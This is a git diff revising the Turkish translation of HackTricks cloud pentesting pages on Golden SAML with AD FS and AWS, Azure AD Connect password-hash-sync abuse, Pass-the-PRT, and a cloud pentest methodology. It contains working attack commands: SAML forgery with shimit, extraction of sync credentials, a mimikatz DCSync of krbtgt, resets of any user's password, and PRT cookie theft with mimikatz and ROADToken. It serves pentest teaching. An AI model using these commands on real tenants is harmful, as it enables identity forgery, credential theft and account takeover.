kurulabilir; burada kullanıcının kimliğini ve izinlerini doğrulayan anahtar (golden ticket için KRBTGT, golden SAML için token-imzalama özel anahtarı) sahte bir kimlik doğrulama nesnesi (TGT veya SAMLResponse) oluşturmak için manipüle edilebilir. Bu, herhangi bir kullanıcının taklit edilmesine ve SP'ye yetkisiz erişim sağlanmasına olanak tanır. -Golden SAML'ler belirli avantajlar sunar: +Golden SAML'lerin belirli avantajları vardır: -- **Uzakta** oluşturulabilirler, ilgili alan veya federasyonun parçası olma gerekliliği yoktur. -- **İki Aşamalı Kimlik Doğrulama (2FA)** etkin olsa bile etkili kalırlar. -- Token imzalama **özel anahtarı otomatik olarak yenilenmez**. +- **Uzakta oluşturulabilirler**, ilgili alan veya federasyonun parçası olma gereği olmaksızın. +- **İki Faktörlü Kimlik Doğrulama (2FA)** etkin olsa bile etkili kalırlar. +- Token-imzalama **özel anahtarı otomatik olarak yenilenmez**. - **Bir kullanıcının şifresini değiştirmek,** zaten oluşturulmuş bir SAML'yi geçersiz kılmaz. #### AWS + AD FS + Golden SAML -[Active Directory Federation Services (AD FS)]() Microsoft'un güvenilir iş ortakları (federasyon) arasında **kimlik bilgilerini güvenli bir şekilde değiştirmeyi** kolaylaştıran bir hizmetidir. Temelde, bir alan hizmetinin, bir federasyon içindeki diğer hizmet sağlayıcılarla kullanıcı kimliklerini paylaşmasına olanak tanır. +[Active Directory Federation Services (AD FS)]() Microsoft'un güvenilir iş ortakları (federasyon) arasında **kimlik bilgisi değişimini güvenli bir şekilde** sağlayan bir hizmettir. Temelde, bir alan hizmetinin, bir federasyon içindeki diğer hizmet sağlayıcılarla kullanıcı kimliklerini paylaşmasına olanak tanır. -AWS, tehlikeye giren alanı (bir federasyonda) güvenilir kabul ettiğinde, bu zafiyet, AWS ortamında **herhangi bir izin elde etme** potansiyeli taşır. Saldırı, SAML nesnelerini imzalamak için kullanılan **özel anahtarı** gerektirir; bu, golden ticket saldırısında KRBTGT'yi gerektirmeye benzer. AD FS kullanıcı hesabına erişim, bu özel anahtarı elde etmek için yeterlidir. +AWS, tehlikeye giren alanı (bir federasyonda) güvenilir kabul ettiğinde, bu zafiyet, AWS ortamında **herhangi bir izin edinme** potansiyeli ile istismar edilebilir. Saldırı, SAML nesnelerini imzalamak için kullanılan **özel anahtarı** gerektirir; bu, golden ticket saldırısında KRBTGT'yi gerektirmeye benzer. AD FS kullanıcı hesabına erişim, bu özel anahtarı elde etmek için yeterlidir. Golden SAML saldırısını gerçekleştirmek için gerekenler şunlardır: -- **Token imzalama özel anahtarı** +- **Token-imzalama özel anahtarı** - **IdP genel sertifikası** - **IdP adı** - **Rol adı (üstlenilecek rol)** @@ -81,9 +81,9 @@ Golden SAML saldırısını gerçekleştirmek için gerekenler şunlardır: - AWS'deki rol oturum adı - Amazon hesap kimliği -_Sadece kalın yazılı olanlar zorunludur. Diğerleri istenildiği gibi doldurulabilir._ +_Sadece kalın yazılmış öğeler zorunludur. Diğerleri isteğe bağlı olarak doldurulabilir._ -**Özel anahtarı** elde etmek için **AD FS kullanıcı hesabına** erişim gereklidir. Buradan, özel anahtar [mimikatz](https://github.com/gentilkiwi/mimikatz) gibi araçlar kullanılarak **kişisel depodan dışa aktarılabilir**. Diğer gerekli bilgileri toplamak için Microsoft.Adfs.Powershell snapin'ini şu şekilde kullanabilirsiniz, ADFS kullanıcısı olarak oturum açtığınızdan emin olun: +**Özel anahtarı** elde etmek için **AD FS kullanıcı hesabına** erişim gereklidir. Buradan, özel anahtar [mimikatz](https://github.com/gentilkiwi/mimikatz) gibi araçlar kullanılarak **kişisel depodan dışa aktarılabilir**. Diğer gerekli bilgileri toplamak için Microsoft.Adfs.Powershell snapin'ini şu şekilde kullanabilirsiniz; ADFS kullanıcısı olarak oturum açtığınızdan emin olun: ```powershell # From an "AD FS" session # After having exported the key with mimikatz @@ -97,7 +97,7 @@ _Sadece kalın yazılı olanlar zorunludur. Diğerleri istenildiği gibi dolduru # Role Name (Get-ADFSRelyingPartyTrust).IssuanceTransformRule ``` -Tüm bilgilerle, taklit etmek istediğiniz kullanıcı olarak geçerli bir SAMLResponse unutmak mümkündür [**shimit**](https://github.com/cyberark/shimit)**:** +Tüm bilgilerle, taklit etmek istediğiniz kullanıcı olarak geçerli bir SAMLResponse'ı unutmak mümkündür, [**shimit**](https://github.com/cyberark/shimit)**:** ```bash # Apply session for AWS cli python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 @@ -114,7 +114,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file - ```
-### Yerel -> bulut +### On-prem -> bulut ```powershell # With a domain user you can get the ImmutableID of the target user [System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray()) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 750a215b0..605243545 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -11,9 +11,9 @@ Bu, şirketler tarafından on-prem AD'yi Azure AD ile senkronize etmek için kullanılan **en yaygın yöntemdir**. Tüm **kullanıcılar** ve **parola hash'lerinin hash'i** on-prem'den Azure AD'ye senkronize edilir. Ancak, **düz metin parolalar** veya **orijinal** **hash'ler** Azure AD'ye gönderilmez.\ -Ayrıca, **Yerleşik** güvenlik grupları (alan yöneticileri gibi...) **Azure AD'ye senkronize edilmez**. +Ayrıca, **Yerleşik** güvenlik grupları (örneğin alan yöneticileri...) **Azure AD'ye senkronize edilmez**. -**Hash senkronizasyonu** her **2 dakikada** bir gerçekleşir. Ancak, varsayılan olarak, **parola süresi dolma** ve **hesap** **süresi dolma** Azure AD'de **senkronize edilmez**. Bu nedenle, **on-prem parolasının süresi dolmuş** (değiştirilmemiş) bir kullanıcı, eski parolayı kullanarak **Azure kaynaklarına erişmeye devam edebilir**. +**Hash senkronizasyonu** her **2 dakikada** bir gerçekleşir. Ancak, varsayılan olarak, **parola süresi dolma** ve **hesap** **süresi dolma** Azure AD'de **senkronize edilmez**. Bu nedenle, **on-prem parolasının süresi dolmuş** (değiştirilmemiş) bir kullanıcı, eski parolayı kullanarak **Azure kaynaklarına erişmeye** devam edebilir. Bir on-prem kullanıcısı bir Azure kaynağına erişmek istediğinde, **kimlik doğrulama Azure AD'de gerçekleşir**. @@ -23,23 +23,23 @@ Bir on-prem kullanıcısı bir Azure kaynağına erişmek istediğinde, **kimlik PHS yapılandırıldığında bazı **ayrıcalıklı hesaplar** otomatik olarak **oluşturulur**: -- **`MSOL_`** hesabı, on-prem AD'de otomatik olarak oluşturulur. Bu hesaba **Dizin Senkronizasyon Hesapları** rolü verilir (bkz. [belgeler](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), bu da onun **on-prem AD'de çoğaltma (DCSync) izinlerine sahip olduğu anlamına gelir**. +- **`MSOL_`** hesabı, on-prem AD'de otomatik olarak oluşturulur. Bu hesaba **Dizin Senkronizasyon Hesapları** rolü verilir (bkz. [belgeler](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), bu da onun **on-prem AD'de replikasyon (DCSync) izinlerine sahip olduğu anlamına gelir**. - Azure AD'de **`Sync__installationID`** adlı bir hesap oluşturulur. Bu hesap, Azure AD'deki **HERHANGİ bir kullanıcının** (senkronize edilmiş veya yalnızca bulut) parolasını **sıfırlayabilir**. -Önceki iki ayrıcalıklı hesabın parolaları, **Azure AD Connect'in kurulu olduğu sunucudaki bir SQL sunucusunda** **saklanır**. Yöneticiler, bu ayrıcalıklı kullanıcıların parolalarını düz metin olarak çıkarabilir.\ +Önceki iki ayrıcalıklı hesabın parolaları, **Azure AD Connect'in kurulu olduğu** sunucudaki bir SQL sunucusunda **saklanır**. Yöneticiler, bu ayrıcalıklı kullanıcıların parolalarını düz metin olarak çıkarabilir.\ Veritabanası `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` konumundadır. Şifrelenmiş olan bir tablo üzerinden yapılandırmayı çıkarmak mümkündür: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -**Şifrelenmiş yapılandırma**, **DPAPI** ile şifrelenmiştir ve **on-prem AD'deki `MSOL_*`** kullanıcısının parolalarını ve AzureAD'deki **Sync\_\*** parolasını içerir. Bu nedenle, bunları ele geçirerek AD ve AzureAD'ye ayrıcalıklı erişim sağlamak mümkündür. +**Şifrelenmiş yapılandırma**, **DPAPI** ile şifrelenmiştir ve **on-prem AD'deki `MSOL_*`** kullanıcısının parolalarını ve AzureAD'deki **Sync\_\*** parolasını içerir. Bu nedenle, bunların ele geçirilmesi, AD ve AzureAD'ye yükseltilmiş erişim sağlamak mümkündür. Bu kimlik bilgilerin nasıl saklandığı ve çözüldüğüne dair [tam bir genel bakış bu konuşmada bulunmaktadır](https://www.youtube.com/watch?v=JEIR5oGCwdg). ### **Azure AD connect sunucusunu bulma** -Eğer **Azure AD connect'in kurulu olduğu sunucu** alan katılmışsa (belgelerde önerilmektedir), onu bulmak için: +Eğer **Azure AD connect'in kurulu olduğu sunucu** alan katılımcısıysa (belgelerde önerilmektedir), şu şekilde bulunabilir: ```powershell # ActiveDirectory module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl @@ -47,7 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc #Azure AD module Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` -### MSOL\_*'yi Kötüye Kullanma +### MSOL\_\* İstismarı ```powershell # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -59,7 +59,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo > [!CAUTION] > Bu kimlik bilgilerini elde etmek için [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) aracını da kullanabilirsiniz. -### Sync\_\* İstismarı +### Sync\_\* İstismar Etme **`Sync_*`** hesabını ele geçirerek, herhangi bir kullanıcının (Global Yöneticiler dahil) **şifresini sıfırlamak** mümkündür. ```powershell @@ -82,7 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` -Aynı zamanda **sadece bulut** kullanıcılarının şifrelerini değiştirmek de mümkündür (bu beklenmedik olsa bile) +Aynı zamanda **sadece bulut** kullanıcılarının şifrelerini değiştirmek de mümkündür (bu beklenmedik olsa bile). ```powershell # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. @@ -91,20 +91,20 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` -Kullanıcının şifresini dökmek de mümkündür. +Bu kullanıcının şifresini dökmek de mümkündür. > [!CAUTION] -> Başka bir seçenek, **Sync** kullanıcısının **izinlere** sahip olduğu bir **hizmet ilkesi** için **ayrıcalıklı izinler atamak** ve ardından **o hizmet ilkesine erişmek** olarak privesc yöntemidir. +> Diğer bir seçenek, **hizmet ilkesi için ayrıcalıklı izinler atamak** olacaktır; **Sync** kullanıcısının **izinleri** vardır ve ardından **bu hizmet ilkesine erişmek** bir privesc yöntemi olarak kullanılabilir. ### Seamless SSO -PHS ile Seamless SSO kullanmak mümkündür, bu da diğer kötüye kullanımlara açıktır. Bunu kontrol edin: +PHS ile Seamless SSO kullanmak mümkündür; bu, diğer kötüye kullanımlara karşı savunmasızdır. Bunu kontrol edin: {{#ref}} seamless-sso.md {{#endref}} -## References +## Referanslar - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index f26b7f97d..d0a61bee5 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -22,7 +22,7 @@ Aynı çıktıda, **cihazın Azure'a katılıp katılmadığını** da görebili ## PRT Çerezi -PRT çerezi aslında **`x-ms-RefreshTokenCredential`** olarak adlandırılır ve bir JSON Web Token (JWT) içerir. Bir JWT, **3 bölüm** içerir: **başlık**, **yük** ve **imza**, `.` ile ayrılmış ve tümü url güvenli base64 ile kodlanmıştır. Tipik bir PRT çerezi aşağıdaki başlık ve gövdeyi içerir: +PRT çerezi aslında **`x-ms-RefreshTokenCredential`** olarak adlandırılır ve bir JSON Web Token (JWT) içerir. Bir JWT **3 parçadan** oluşur: **başlık**, **yük** ve **imza**, `.` ile ayrılır ve tümü url güvenli base64 ile kodlanmıştır. Tipik bir PRT çerezi aşağıdaki başlık ve gövdeyi içerir: ```json { "alg": "HS256", @@ -34,22 +34,22 @@ PRT çerezi aslında **`x-ms-RefreshTokenCredential`** olarak adlandırılır ve "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` -Gerçek **Primary Refresh Token (PRT)**, **`refresh_token`** içinde kapsüllenmiştir ve bu, Azure AD'nin kontrolü altındaki bir anahtar ile şifrelenmiştir, bu da içeriğini bizim için opak ve şifrelenemez hale getirir. **`is_primary`** alanı, bu token içinde birincil yenileme token'ının kapsüllendiğini belirtir. Cookie'nin, hedeflendiği belirli oturumla bağlı kalmasını sağlamak için, `request_nonce` `logon.microsoftonline.com` sayfasından iletilir. +Gerçek **Primary Refresh Token (PRT)**, **`refresh_token`** içinde kapsüllenmiştir ve bu, Azure AD'nin kontrolü altındaki bir anahtar ile şifrelenmiştir, bu da içeriğinin bizim için opak ve deşifre edilemez olmasını sağlar. **`is_primary`** alanı, bu token içinde birincil yenileme token'ının kapsüllendiğini belirtir. Çerezin, hedeflendiği belirli oturumla bağlı kalmasını sağlamak için, `request_nonce` `logon.microsoftonline.com` sayfasından iletilir. -### TPM kullanarak PRT Cookie akışı +### TPM kullanarak PRT Çerez akışı -**LSASS** süreci, **KDF bağlamını** TPM'ye gönderecek ve TPM, **session key** (cihaz AzureAD'ye kaydedildiğinde toplanan ve TPM'de saklanan) ve önceki bağlamı kullanarak bir **anahtar türetecek** ve bu **türetilmiş anahtar**, **PRT cookie'sini (JWT)** imzalamak için kullanılacaktır. +**LSASS** süreci, **KDF bağlamını** TPM'ye gönderecek ve TPM, **oturum anahtarını** (cihaz AzureAD'ye kaydedildiğinde toplanan ve TPM'de saklanan) ve önceki bağlamı kullanarak bir **anahtar türetecek** ve bu **türetilmiş anahtar**, **PRT çerezini (JWT)** imzalamak için kullanılacaktır. **KDF bağlamı**, AzureAD'den bir nonce ve PRT'yi içeren bir **JWT** ile karıştırılmış bir **bağlamdır** (rastgele baytlar). -Bu nedenle, PRT TPM içinde bulunduğu için çıkarılamasa da, LSASS'ı kötüye kullanarak **yeni bağlamlardan türetilmiş anahtarlar talep etmek ve üretilen anahtarları Cookie'leri imzalamak için kullanmak** mümkündür. +Bu nedenle, PRT TPM içinde bulunduğu için çıkarılamasa da, LSASS'ı kötüye kullanarak **yeni bağlamlardan türetilmiş anahtarlar talep etmek ve üretilen anahtarları Çerezleri imzalamak için kullanmak** mümkündür.
## PRT Kötüye Kullanım Senaryoları **Normal bir kullanıcı** olarak, LSASS'tan SSO verileri talep ederek **PRT kullanımını talep etmek** mümkündür.\ -Bu, **Web Account Manager**'dan (token broker) token talep eden **yerel uygulamalar** gibi yapılabilir. WAM, talebi **LSASS**'a iletir ve LSASS, imzalı PRT beyanı kullanarak token talep eder. Ya da **PRT cookie'sinin** Azure AS giriş sayfalarına yapılan talepleri kimlik doğrulamak için **header** olarak kullanıldığı **tarayıcı tabanlı (web) akışları** ile yapılabilir. +Bu, **Web Hesap Yöneticisi** (token broker) üzerinden token talep eden **yerel uygulamalar** gibi yapılabilir. WAM, talebi **LSASS**'a iletir ve LSASS, imzalı PRT beyanı kullanarak token talep eder. Ya da **PRT çerezinin** Azure AS giriş sayfalarına yapılan istekleri kimlik doğrulamak için **header** olarak kullanıldığı **tarayıcı tabanlı (web) akışları** ile yapılabilir. **SYSTEM** olarak, eğer TPM ile korunmuyorsa **PRT'yi çalabilir** veya **LSASS'ta PRT anahtarları ile etkileşimde bulunabilirsiniz**. @@ -57,9 +57,9 @@ Bu, **Web Account Manager**'dan (token broker) token talep eden **yerel uygulama ### Saldırı - ROADtoken -Bu yöntem hakkında daha fazla bilgi için [**bu gönderiyi kontrol edin**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken, doğru dizinden **`BrowserCore.exe`** çalıştıracak ve bunu **PRT cookie'si elde etmek** için kullanacaktır. Bu cookie daha sonra ROADtools ile kimlik doğrulamak ve **kalıcı bir yenileme token'ı elde etmek** için kullanılabilir. +Bu yöntem hakkında daha fazla bilgi için [**bu gönderiyi kontrol edin**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken, doğru dizinden **`BrowserCore.exe`** çalıştıracak ve bunu **PRT çerezi elde etmek** için kullanacaktır. Bu çerez daha sonra ROADtools ile kimlik doğrulamak ve **kalıcı bir yenileme token'ı elde etmek** için kullanılabilir. -Geçerli bir PRT cookie'si oluşturmak için ilk ihtiyacınız olan bir nonce'dur.\ +Geçerli bir PRT çerezi oluşturmak için ilk ihtiyacınız olan bir nonce'dır.\ Bunu şu şekilde alabilirsiniz: ```powershell $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" @@ -88,7 +88,7 @@ Bir satırlık: ```powershell Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` -Sonra **oluşturulan çerezi** kullanarak **jetonlar oluşturabilir** ve Azure AD **Graph** veya Microsoft Graph kullanarak **giriş yapabilirsiniz**: +Sonra **oluşturulan çerezi** kullanarak **jetonlar** **üretebilir** ve Azure AD **Graph** veya Microsoft Graph kullanarak **giriş** yapabilirsiniz: ```powershell # Generate roadrecon auth --prt-cookie @@ -96,11 +96,11 @@ roadrecon auth --prt-cookie # Connect Connect-AzureAD --AadAccessToken --AccountId ``` -### Saldırı - roadrecon Kullanarak +### Saldırı - roadrecon Kullanımı -### Saldırı - AADInternals ve sızdırılmış PRT Kullanarak +### Saldırı - AADInternals ve sızdırılmış PRT Kullanımı -`Get-AADIntUserPRTToken` **kullanıcının PRT token'ını** Azure AD bağlı veya Hibrit bağlı bilgisayardan alır. PRT token'ını almak için `BrowserCore.exe` kullanır. +`Get-AADIntUserPRTToken` **kullanıcının PRT token'ını** Azure AD'ye bağlı veya Hibrit bağlı bilgisayardan alır. PRT token'ını almak için `BrowserCore.exe` kullanır. ```powershell # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -146,7 +146,7 @@ HttpOnly: Set to True (checked) Sonra [https://portal.azure.com](https://portal.azure.com) adresine gidin. > [!CAUTION] -> Geri kalanlar varsayılan olmalıdır. Sayfayı yenileyebildiğinizden ve çerezin kaybolmadığından emin olun, eğer kaybolursa bir hata yapmış olabilirsiniz ve süreci tekrar gözden geçirmeniz gerekebilir. Eğer kaybolmuyorsa, her şey yolunda olmalıdır. +> Geri kalan varsayılan olmalıdır. Sayfayı yenileyebildiğinizden ve çerezin kaybolmadığından emin olun, eğer kaybolursa bir hata yapmış olabilirsiniz ve süreci tekrar gözden geçirmeniz gerekebilir. Eğer kaybolmuyorsa, her şey yolunda olmalı. ### Saldırı - Mimikatz @@ -157,13 +157,13 @@ Sonra [https://portal.azure.com](https://portal.azure.com) adresine gidin. 3. Oturum Anahtarı şifresi çözüldükten sonra, **PRT için türetilmiş anahtar ve bağlam elde edilir**. Bunlar **PRT çerezi oluşturmak için** kritik öneme sahiptir. Özellikle, türetilmiş anahtar, çerezi oluşturan JWT'yi (JSON Web Token) imzalamak için kullanılır. Bu sürecin kapsamlı bir açıklaması Dirk-jan tarafından sağlanmıştır, [buradan](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) erişebilirsiniz. > [!CAUTION] -> PRT'nin TPM içinde ve `lsass` içinde değilse, **mimikatz bunu çıkaramayacaktır**.\ +> PRT'nin TPM içinde ve `lsass` içinde olmadığını unutmayın, **mimikatz bunu çıkaramaz**.\ > Ancak, TPM'den bir bağlamdan türetilmiş bir anahtar almak ve bunu **bir çerezi imzalamak için kullanmak** mümkün olacaktır (seçenek 3'ü kontrol edin). Bu ayrıntıları çıkarmak için gerçekleştirilen sürecin **derinlemesine açıklamasını** burada bulabilirsiniz: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] -> Bu, yalnızca kullanıcı kendi PRT'sini alabileceğinden, diğer kullanıcıların PRT token'larını almak için Ağustos 2021 düzeltmelerinden sonra tam olarak çalışmayacaktır (yerel bir yönetici diğer kullanıcıların PRT'lerine erişemez), ancak kendi PRT'sine erişebilir. +> Bu, diğer kullanıcıların PRT token'larını almak için Ağustos 2021 düzeltmelerinden sonra tam olarak çalışmayacak, çünkü yalnızca kullanıcı kendi PRT'sini alabilir (yerel bir yönetici diğer kullanıcıların PRT'lerine erişemez), ancak kendi PRT'sine erişebilir. **mimikatz** kullanarak PRT'yi çıkarabilirsiniz: ```powershell @@ -185,9 +185,9 @@ Ayrıca aşağıda vurgulanan **`ProofOfPossesionKey`** alanının **`KeyValue`*
> [!NOTE] -> Eğer herhangi bir PRT verisi görmüyorsanız, bunun nedeni **PRT'nizin olmaması** olabilir çünkü cihazınız Azure AD ile bağlı değil ya da **eski bir Windows 10 sürümü** kullanıyor olabilirsiniz. +> Eğer herhangi bir PRT verisi görmüyorsanız, bu **PRT'niz olmadığı** anlamına gelebilir çünkü cihazınız Azure AD'ye bağlı değil veya **eski bir Windows 10 sürümü** kullanıyor olabilirsiniz. -Oturum anahtarını **şifrelemek için** yetkilerinizi **SYSTEM** seviyesine **yükseltmeniz** gerekiyor, böylece bilgisayar bağlamında çalışarak **DPAPI anahtarını kullanarak şifreleyebilirsiniz**. Bunu yapmak için aşağıdaki komutları kullanabilirsiniz: +Oturum anahtarını **şifrelemek için** yetkilerinizi **SYSTEM** seviyesine **yükseltmeniz** gerekiyor, böylece **DPAPI anahtarını kullanarak şifreleyebilirsiniz**. Bunu yapmak için aşağıdaki komutları kullanabilirsiniz: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect @@ -204,7 +204,7 @@ dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
-- Son olarak, bu bilgileri **PRT çerezleri oluşturmak için** kullanabilirsiniz: +- Son olarak, bu bilgileri kullanarak **PRT çerezleri** oluşturabilirsiniz: ```bash Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT] ``` @@ -219,8 +219,8 @@ HttpOnly: Set to True (checked) ``` - Sonra [https://portal.azure.com](https://portal.azure.com) adresine gidin. -> [!CAUTION] -> Geri kalanlar varsayılan olmalıdır. Sayfayı yenileyebildiğinizden ve çerezin kaybolmadığından emin olun, eğer kaybolursa bir hata yapmış olabilirsiniz ve süreci tekrar gözden geçirmeniz gerekebilir. Eğer kaybolmazsa, her şey yolunda olmalıdır. +> [!DİKKAT] +> Geri kalan varsayılan ayarlar olmalıdır. Sayfayı yenileyebildiğinizden ve çerezin kaybolmadığından emin olun, eğer kaybolursa bir hata yapmış olabilirsiniz ve süreci tekrar gözden geçirmeniz gerekebilir. Eğer kaybolmazsa, her şey yolunda olmalıdır. #### Seçenek 2 - roadrecon kullanarak PRT diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index c7aa79a30..d3b153694 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -1,7 +1,7 @@ -# Az - Permissions for a Pentest +# Az - Pentest için İzinler {{#include ../../banners/hacktricks-training.md}} -Testlere başlamak için **abonelik üzerinde Reader izinlerine** ve **AzureAD'de Global Reader rolüne** sahip bir kullanıcı ile erişiminiz olmalıdır. Hala **Storage hesaplarının içeriğine erişemiyorsanız**, bunu **Storage Account Contributor rolü** ile düzeltebilirsiniz. +Testlere başlamak için **abonelik üzerinde Reader izinlerine** ve **AzureAD'de Global Reader rolüne** sahip bir kullanıcı ile erişiminiz olmalıdır. Eğer bu durumda bile **Storage hesaplarının içeriğine erişemiyorsanız**, bunu **Storage Account Contributor rolü** ile düzeltebilirsiniz. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index e6857eeb0..2b5f82c3a 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -12,25 +12,25 @@ Her bulutun kendine özgü özellikleri vardır, ancak genel olarak bir penteste - Bu, **ortamın boyutunu** ve **kullanılan hizmetleri** anlamanıza yardımcı olacaktır. - Ayrıca, bu testlerin çoğunu **otomatik araçlarla** gerçekleştirebileceğiniz için bazı **hızlı yanlış yapılandırmaları** bulmanızı sağlar. - **Hizmetlerin Sayımı** -- Benchmark testlerini doğru bir şekilde gerçekleştirdiyseniz burada çok fazla yanlış yapılandırma bulamayabilirsiniz, ancak benchmark testinde bakılmayan bazılarını bulabilirsiniz. +- Benchmark testlerini doğru bir şekilde gerçekleştirdiyseniz burada çok fazla yanlış yapılandırma bulamayabilirsiniz, ancak benchmark testinde aranmayan bazılarını bulabilirsiniz. - Bu, bulut ortamında **tam olarak neyin kullanıldığını** bilmenizi sağlar. - Bu, sonraki adımlarda çok yardımcı olacaktır. - **Açık varlıkları kontrol et** -- Bu, önceki bölüm sırasında yapılabilir, potansiyel olarak **İnternete açık olan her şeyi** bulmanız ve nasıl erişilebileceğini anlamanız gerekir. -- Burada, web sayfaları veya diğer açık portlara sahip örnekler gibi **manuel olarak açılmış altyapıyı** ve ayrıca **açık hale getirilebilecek diğer bulut yönetilen hizmetleri** (örneğin DB'ler veya bucket'lar) ele alıyorum. -- Sonra, **bu kaynağın açılıp açılamayacağını** kontrol etmelisiniz (gizli bilgi mi? zafiyetler mi? açığa çıkan hizmetteki yanlış yapılandırmalar mı?). +- Bu, önceki bölüm sırasında yapılabilir, potansiyel olarak **İnternete açık olan her şeyi** bulmanız ve nasıl erişilebileceğini öğrenmeniz gerekir. +- Burada, **manuel olarak açığa çıkarılmış altyapıyı** (web sayfalarına sahip örnekler veya diğer açık portlar gibi) ve ayrıca **açık hale getirilebilecek diğer bulut yönetilen hizmetleri** (örneğin DB'ler veya bucket'lar) ele alıyorum. +- Sonra, **bu kaynağın açığa çıkarılıp çıkarılamayacağını** kontrol etmelisiniz (gizli bilgi mi? zafiyetler mi? açığa çıkarılan hizmetteki yanlış yapılandırmalar mı?). - **İzinleri kontrol et** -- Burada, bulut içindeki her rol/kullanıcının **tüm izinlerini** bulmalı ve bunların nasıl kullanıldığını anlamalısınız. -- Çok **yüksek ayrıcalıklı** (her şeyi kontrol eden) hesaplar mı var? Kullanılmayan anahtarlar mı?... Bu kontrollerin çoğu zaten benchmark testlerinde yapılmış olmalıdır. +- Burada, bulut içindeki her rol/kullanıcının **tüm izinlerini** bulmalı ve bunların nasıl kullanıldığını öğrenmelisiniz. +- Çok **fazla yüksek ayrıcalıklı** (her şeyi kontrol eden) hesap mı var? Kullanılmayan anahtarlar mı oluşturuldu?... Bu kontrollerin çoğu zaten benchmark testlerinde yapılmış olmalıdır. - Müşteri OpenID veya SAML veya diğer **federasyon** kullanıyorsa, onlardan **her rolün nasıl atandığı** hakkında daha fazla **bilgi** istemeniz gerekebilir (admin rolünün 1 kullanıcıya mı yoksa 100 kullanıcıya mı atandığı aynı değildir). - Hangi kullanıcıların **admin** izinlerine sahip olduğunu bulmak **yeterli değildir** "\*:\*". Kullanılan hizmetlere bağlı olarak çok sayıda **diğer izin** çok **hassas** olabilir. - Ayrıca, izinleri kötüye kullanarak takip edilebilecek **potansiyel privesc** yolları vardır. Tüm bu şeyler dikkate alınmalı ve **mümkün olduğunca fazla privesc yolu** rapor edilmelidir. - **Entegrasyonları kontrol et** - Bulut ortamında **diğer bulutlar veya SaaS ile 